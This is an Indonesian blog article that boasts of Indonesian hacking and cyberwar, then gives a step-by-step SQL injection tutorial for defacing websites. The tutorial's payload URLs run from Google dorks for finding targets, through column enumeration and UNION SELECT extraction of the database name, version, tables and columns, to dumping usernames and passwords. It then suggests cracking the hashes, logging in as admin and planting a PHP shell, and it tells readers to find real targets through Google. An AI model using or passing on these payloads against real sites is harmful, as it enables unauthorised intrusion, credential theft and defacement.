Bercokolnya Indonesia sebagai top scorer serangan Cyber Dunia tidak pernah diperhitungkan sebelumnya oleh negara-negara di dunia, bahkan negara dibelahan dunia dibuatnya terkaget-kaget siapa sangka serangan cyber Indonesia menjadi sumber serangan dan peretasan Internet nomor satu di dunia pada kuartal kedua tahun 2013 mengalahkan negara-negara besar seperti china, Amerika, Turki, Taiwan dan Rusia.
Contoh Alur Metode Serangan SQL Injection |
Meletusnya perang siber antara Indonesia dan Australia pada tahun 2013 menjadi tonggak sejarah pemicu serangan siber besar-besaran terhadap negara Australia, bahkan diklaim menjadi pertempuran terhebat sepanjang sejarah serta terkoordinasi dan termodern bahkan melibatkan para “ellit” (strata tertinggi dalam dunia hacking) sampai para “lamer” (strata terbawah didunia hacking) yang dilancarkan para tentara cyber Indonesia. Sebenarnya Indonesia sudah pernah terlibat perang siber sejak tahun 1999 mulai dari perang siber terhadap Portugal, Australia, serta malaysia dan terakhir Indonesia terlibat kembali cyberwar dengan Australia setalah di picu masalah aksi mata-mata Intelijen Australia terhadap Presiden Indonesia pada tahun 2013.
Contoh listing SQL Injection Ketika memasuki form |
Berbicara masalah persenjataan para hacker Indonesia pun beragam mulai dari terbanyak di pakai adalah SQL Injection kemudian Ddos dan terakhir Bootnet dari kesekian banyak motif serangan tersebut yang paling lucu adalah hanya dilakukan oleh para anak anak pelajar SMA atau Kuliahan yang dikerjakan di warnet-warnet, komputer personal bahkan leptop-leptop pinjaman .
Nah.. kali ini kita akan mencoba mengulas serangan menggunakan SQL Injection yang digunakan untuk meretes halaman website atau kata lain dari deface.
Penggunaan teknik SQL Injection dalam proses mendeface sebuah website masih populer di kalangan peretas website. Hal ini karena banyaknya programmer yang lalai menaruh perhatian terhadap serangan SQL Injection. Serangan SQL Injection merupakan serangan deface yang sangat halus sehingga seorang administrator website tidak akan sadar jika ada seseorang yang telah masuk dan mengambil alih kontrol administrator suatu aplikasi berbasis website
Apa itu SQL Injection ?
Secara harfifah SQL Injection adalah salah satu jenis penyerangan yang mengizinkan user tidak sah (penyerang) untuk mengakses database server. Pada dasarnya, serangan ini difasilitasi oleh kode program itu sendiri. Tekniknya, penyerang mencoba memasukan query (melalui field atau URL) yang akan menyebabkan database serber menggenerate query SQL yang tidak valid.
Bagaimana Cara Kerjanya ?
Cara kerjanya adalah memasukan query SQL atau perintah (command) sebagai input yang dimungkinkan melalui halaman web. Dimana halaman web mengambil parameter dari user, lalu membuat query sql ke dalam database. Salah satunya adalah pada halaman login user, dimana pada halaman web akan membuat query sql ke database untuk memeriksa username dan password yang tepat.
Apa yang diperlukan ?
Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang dipakai adalah segala macam browser.
Apa yang perlu di cari ?
Kita dapat memanfaatkan halaman-halaman web yang terdapat submit data , contoh: halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML menggunakan metode POST untuk mengirim parameter ke halaman web yang lain. Jika model halamnnya seperti ini maka kita harus melihat source code karena kita tidak dapat melihat pada URL.
Hal yang harus di ketahui sebelum melakukan serangan
Kita dapat memanfaatkan halaman-halaman web yang terdapat submit data , contoh: halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML menggunakan metode POST untuk mengirim parameter ke halaman web yang lain. Jika model halamnnya seperti ini maka kita harus melihat source code karena kita tidak dapat melihat pada URL.
Hal yang harus di ketahui sebelum melakukan serangan
Yang perlu di ketahui sebelum sql injection pada mysql :
karakter: ' atau –
comments: /* atau –
information_schema untuk versi: mysql versi 5.x
( tidak support untuk mysql versi 4.x )
karakter: ' atau –
comments: /* atau –
information_schema untuk versi: mysql versi 5.x
( tidak support untuk mysql versi 4.x )
CONTOH SIMULASI SERANGAN BY INDONESIAN CYBER COMMUNITY
1. Cari Target + Bugnya
Cara mencarinya adalah dengan dork sql injection. Misalnya inurl:”index.php?id=” search dengan GOOGLE, misalkan kita mendapatkan alamat situshttp://www.target.com/index.php?id=4
Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah tanda petik pada akhir url, sehingga urlnya menjadihttp://www.target.com/index.php?id=4’
lalu tekan enter dan apa yang terjadi pada situs tersebut? Situsnya menampilkan pesan error, berarti parameter id tidak di filter dengan baik atau bahkan tidak difilter sama sekali. Untuk mengetahui suatu web aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan perintah and+1=1--
Ketika di tambahkan parameter +and+1=1-- pada akhir URL, situsnya tampil dengan normal karena 1=1 menghasilkan nilai true.
http://www.target.com/index.php?id=4+and+1=1--Dan ketika di tambahkan parameter +and+1=2-- isi berita tidak dapat ditampilkan karena 1=2 hasilnya false dan ini membuktikan bahwa web aplikasi tersebut 99.9% memiliki bug SQL Injectionhttp://www.target.com/index.php?id=4+and+1=2--
2. Cari Column Yang Memiliki Celah Injection
Setelah saya tau bahwa web tersebut memiliki Bug SQL Injection saya harus mencari tau nama table dan column, tapi sebelum itu saya harus mencari tau pada column ke berapa saya bisa melakukan Injection, untuk itu saya menggunakan perintah +order+by+ perhatikan url berikut.http://www.target.com/index.php?id=4+order+by+1--
http://www.target.com/index.php?id=4+order+by+2--
http://www.target.com/index.php?id=4+order+by+3--
http://www.target.com/index.php?id=4+order+by+4--
http://www.target.com/index.php?id=4+order+by+5--url diatas jika di coba satu persatu akan menampilkan situsnya secara normal. Tapi ketika diinput dengan order+by+6-- apa yang terjadi??? Browser menampilkan pesan error. Dari pesan error tersebut bisa dipastikan terdapat 5 buah column yang terdapat disalah satu table yang belum kita ketahui namanya. Berarti yang kita ambil sampai +order+by+5-- saja.
3.Gunakan Perintah Union Select
Setelah mengetahui terdapat 5 buah column pada target, selanjutnya yaitu mencari column yang bisa dilakukan injeksi. Untuk itu saya menggunakan perintah +union+select+ sehingga urlnya menjadi :http://www.target.com/index.php?id=4+union+select+1,2,3,4,5--Dan apa yang tampak di browser tidak ada yang aneh bukan? situsnya tampil dengan normal. Tetapi jika parameter id saya ganti menjadi -4 yang pastinya tidak ada isi data -4 di Database.
http://www.target.com/index.php?id=-4+union+select+1,2,3,4,5--
Oke disini browser menampilkan angka 2 & 3, dan angka inilah yang sering disebut dengan angka ajaib, karena angka tersebut adalah letak column dimana attacker bisa melakukan injeksi lebih lanjut.
4.Cari informasi Database Target
Dengan tampilnya angka ajaib tersebut anda bisa 'mengintip' beberapa informasi seperti nama database, nama user database, versi database, sessi user dll. Untuk melihat nama database, injeksi urlnya menjadihttp://www.target.com/index.php?id=-4+union+select+1,database(),3,4,5--Dan disini browser menampilkan nama database yaitu xyb_injector. Saya mencoba mengintip lagi nama user database pada situs tersebut dengan menginjeksinya pada column ke-2 dan versi pada column ke-3 dan url injeksinya menjadi :
http://www.target.com/index.php?id=-4+union+select+1,user(),version(),4,5--
Ternyata user dabasenya root@localhost dan beruntung sekali karena versi mysql yang di gunakan adalah versi 5.0.51a-community, lho emang kenapa kalo versi 5??? Karena bisa dilanjutin bacanya :D, kalo misalkan versi 4 tinggalin aja deh, cari target baru, hahahaha ?.
Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada satu column. Bisakah meng-injeksi lebih dari satu perintah pada satu colums??? Heheheh tentu saja bisa dong, untuk itu anda bisa menggunakan perintah yang sudah disediakan langsung oleh mysql yaitu perintah concat(perintah1,perintah2). Contoh dibawah ini saya meng-intip nama user dan nama database pada column ke-2 dan pada column ke-3 saya mengintip versi databasenya.
http://www.target.com/index.php?id=4+union+select+1,concat(user(),0x3a,database()),version(),4,5--
5. Dapatkan Nama Table
Saya sudah mendapatkan informasi database web tersebut, sebenarnya yang saya butuhkan hanyalah versi databasenya saja, seperti yang sudah anda lihat, versi database yang ditampilkan adalah 5.0.51a-community dan tentu ini memudahkan saya dalam mendapatkan table dengan menggunakan perintah table_name pada column yang memiliki bug yaitu angka 2 atau 3 pada web tersebut. Di akhir statement tambahkan
from+information_schema.tables+where+table_schema=database()+limit+0,1--
Sehingga urlnya menjadi :http://www.target.com/index.php?id=4+union+select+1,2,table_name,4,5+from+information_schema.tables+where+table_schema=database()+limit+0,1--
Di web tersebut tampil sebuah table bernama "table_attacker". Untuk melihat seluruh table sekaligus gunakan perintah group_concat(table_name) pada column yang memiliki bug, sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()--
6.Dapatkan Nama Column
table_user sudah saya dapatkan selanjutnya yaitu mencari nama column pada table tersebut, untuk itu saya menggunakan perintah group_concat(column_name) sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi menjadi hexadecimal yaitu dengan cara mengkonversinya. Salah satu website yg digunakan untuk konversi :http://www.string-functions.com/string-hex.aspx
Contoh kata yg ingin di konversi yaitu table_user maka akan menjadi 7461626c655f75736572 ini masih belum selesai, anda harus menambahkan angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya menjadi 0x7461626c655f75736572 dan inilah yang akan kita injeksikan pada nama tabel. Sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0x7461626c655f75736572--<Alhasil nama column dari table_user sudah saya dapatkan yaitu user_id dan password_id.
7. Dapatkan Usename & Password
Saya sudah mendapatkan nama table “table_user” yang berisi 2 buah column yaitu “user_id” dan “password_id” dan akhirnya anda sudah sampai di detik-detik terakhir yaitu menampilkan isi data dari column tersebut. Tambahkan 0x3a pada group_concat(hasil isi column yg mau dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan) perintah +from+(nama table berasal) à dimasukkan setelah angka terakhir sehingga urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(user_id,0x3a,password_id),4,5+from+table_user--
Tampillah seluruh username dan password dari situs tersebut. Biasanya password yang kita dapat sudah terenkripsi dalam bentuk md5 atau enkripsi yang lainnya. Untuk menterjemahkannya anda bisa mencari website yang menyediakan cracking password atau dengan tool cracking password. Setelah itu anda tinggal mencari halaman log in admin dan masuki sistemnya. Setelah memasuki sistem biasanya hacker menanamkan php shell untuk lebih gampang keluar masuk dan bisa mengexplore isi dari website tersebut terlebih lagi si hacker bisa melakukan teknik jumping sehingga semua website yang berada dalam 1 server yang sama dengan website yang terkena hack tersebut bisa di ambil alih oleh hacker tersebut, berbahaya sekali bukan?
Catatan :
maksud dari penggunaan link www.target.com adalah websitenya cari sendiri dengan memanfaatkan google dengan mencari menggunakan kata kunci tertentu.
Sumber :
Berbagai sumber sedangkan contoh simulasi serangan diambil dari Indonesia cyber community
Di Sunting Kembali by:
http://www.momosergeidragunov.com/